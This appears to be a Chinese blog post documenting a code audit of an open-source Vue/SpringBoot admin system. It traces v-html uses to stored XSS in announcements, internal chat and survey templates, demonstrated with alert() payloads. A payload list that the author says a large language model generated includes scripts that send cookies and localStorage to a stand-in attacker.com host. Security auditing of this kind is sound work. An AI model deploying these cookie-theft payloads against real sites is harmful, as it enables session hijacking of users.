代码审计，一个多么高大上的“成语”，在我的世界里，它既神秘又好奇，感觉很牛逼的样子，于是给自己定了一个目标，每个月都找一个开源项目审计一下，一方面是为了学习，另一方面是为了发帖有内容，哈哈。
实不相瞒，从事安全这个行业也算是半路出家，比不上那些大佬们，很久之前就开始搞安全了，话说那时候的安全还是挺香的，而现在却太卷了，从上卷倒下，从东卷到西，身心俱备。
转而言之，现在的安全能力，无论是从什么样的角度去看，基本上做的都还挺好的，想要挖洞太难了，不是流量有监控就是边界有WAF，不是内网有EDR就是终端有杀毒等等吧。于是，就开始研究代码层面，但是无奈又没搞过开发，又去了解代码，从前端JS+HTML+CSS到框架VUE，从JAVA、Python到SpringBoot、微服务、云原生等等吧，都去尝试了解和学习了一下，但是写的不较少，于是就转换思路，从看到写，先看别人怎么写的，思路是啥，为啥他会这么写，他的逻辑是什么等等。想通过这样的方式来增加自己在代码层面的深度，坚持每天看一点，希望对自己有所帮助吧，大佬们觉得怎么样？？
一、简介
本次审计的系统是一套基于SpringBoot，Shiro，Vue ， Element 的前后端分离权限管理系统。系统包含了常见的功能模块，支持加载动态权限菜单，多方式轻松权限控制。
二、开搞
首先介绍一下我自己的一个代码审计的思路：
1）拿到一个项目肯定是要从头到位的先看一遍，到处点一点，看看整体的大概的逻辑；
2）看源码，大概的先把源码全部都看一眼，我自己的话是先看前端，在看后端，前端主要看路由，后端主要看controller接口以及DAO层面；
3）找漏洞(历史组件漏洞、XSS、SQL注入、未授权访问等等)
不过对于我来说没有很丰富的开发经验，当然目前的智能化时代发展非常的迅速的同时，有的时候也会感觉有点迷失自我，感觉没必要在自己学习了，如今的代码审计其实更加快速的那肯定是结合这个AI大模型了，不仅快，而且效率还高。但是从我个人来讲，其实还是得依然还是要保持着一种终身学习的心态，不断的提升自己在专业领域的一些专业知识还是挺重要的，现在碎片化的知识太多了没有形成体系，还是有很多的缺失，不过很久之前报了一个前端开发的课程，加上在B站上和淘宝上买了后端开发的教程，每天都在坚持学习。基本上搞通了前后端分离的架构开发逻辑，当然主要还是针对于web的项目，而对于微服务的项目、云原生的项目其实还是了解的不太多。
那么废话不多说，接下来让我们从前端开始吧！！！
1、XSS
1.1、VUE简介
对于XSS漏洞，想必大家应该都很熟悉了，理论我就不再讲了，简单的讲一下目前市面上主流的前端框架吧。首先，要提到的肯定是国产之光了：VUE，VUE对于国人来说确实是非常好用的前端框架了，他的主要特点就是响应式，这也是为啥国人用的比较多的，在没有VUE之前，React和Angular这两个前端框架统治者前端开发很多年，并且这两个框架的源码还是老外开发的，而作为国人的骄傲肯定还是得VUE。
VUE的主要特点是响应式，就是前端根据后端提供的数据适时展示给用户，简单理解就是数据变了，前端页面页跟着变。
应用实例：
import { createApp } from 'vue'
const app = createApp({
/* 根组件选项 */
})
创建一个根组建：
import { createApp } from 'vue'
// 从一个单文件组件中导入根组件
import App from './App.vue'
const app = createApp(App)
简单示例：
<div id="app">
<button @click="count++">{{ count }}</button>
</div>
import { createApp } from 'vue'
const app = createApp({
data() {
return {
count: 0
}
}
})
app.mount('#app')
1.2、VUE指令
这里我主要讲一下v-html这个指令，因为它跟XSS比较亲热。v-html其主要作用是用来更新元素的 innerHTML，传入的参数是一个String类型。官方解释是：v-html 的内容直接作为普通 HTML 插入—— Vue 模板语法是不会被解析的。如果你发现自己正打算用 v-html 来编写模板，不如重新想想怎么使用组件来代替。同时官方也有一个安全提醒：
1.3、漏洞触发
简单了解了VUE中的v-html之后，接下来我们在项目中就可以检索对应的v-html标签了，通过IDEA打开项目，全局检索“v-html”：
匹配到了共有12处采用了此语法。
先把代码丢改大模型，让他帮忙生成测试的XSS代码：
# 基础测试
<img src=x onerror=alert('XSS')>
<script>alert('XSS')</script>
<svg/onload=alert('XSS')>
# 隐藏Payload
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999;display:none" id="xss"></div>
<script>document.getElementById('xss').style.display='block';alert('XSS')</script>
# 信息窃取
<script>
// 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href));
// 或者更隐蔽的方式
var img = new Image();
img.src = 'https://attacker.com/log?data=' + btoa(document.cookie + '|' + localStorage);
</script>
这里我用了第一个常规的做了一下测试，其他的就没做了。
1、信息管理
接下来我们以“信息标题”找一下入口路由点：
找到了它的路由是在通知公告这里。于是，我们就创建一个带有XSS的标题信息如下：
由于是管理后台触发，因此这里需要再创建一个普通角色的人员：
通过普通角色去查看信息发布的模块的时候，即可出发XSS：
2、内部聊天
发送聊天信息含有XSS的payload：
<img src=x onerror=alert('XSS')>
触发反射型XSS
以对方聊天身份另外一个用户身份登录：
点开会话即触发XSS：
3、问卷调查
从上面检索的里面再找一个：
找到几个引用模版的地方
创建一个带有XSS标题的模版
创建完成之后，需要发布一下：
创建完成后，在模版广场这里就会有刚才创建的带有XSS标题的模版：
点击设计预览，即触发XSS：
选择设计预览：
触发XSS，不过这里只触发了一次，不知道是为啥？
至此，基本上所有的XSS都已经触发了！至于其他的这里就不再一一列举了！后续有时间再看看其他的洞....
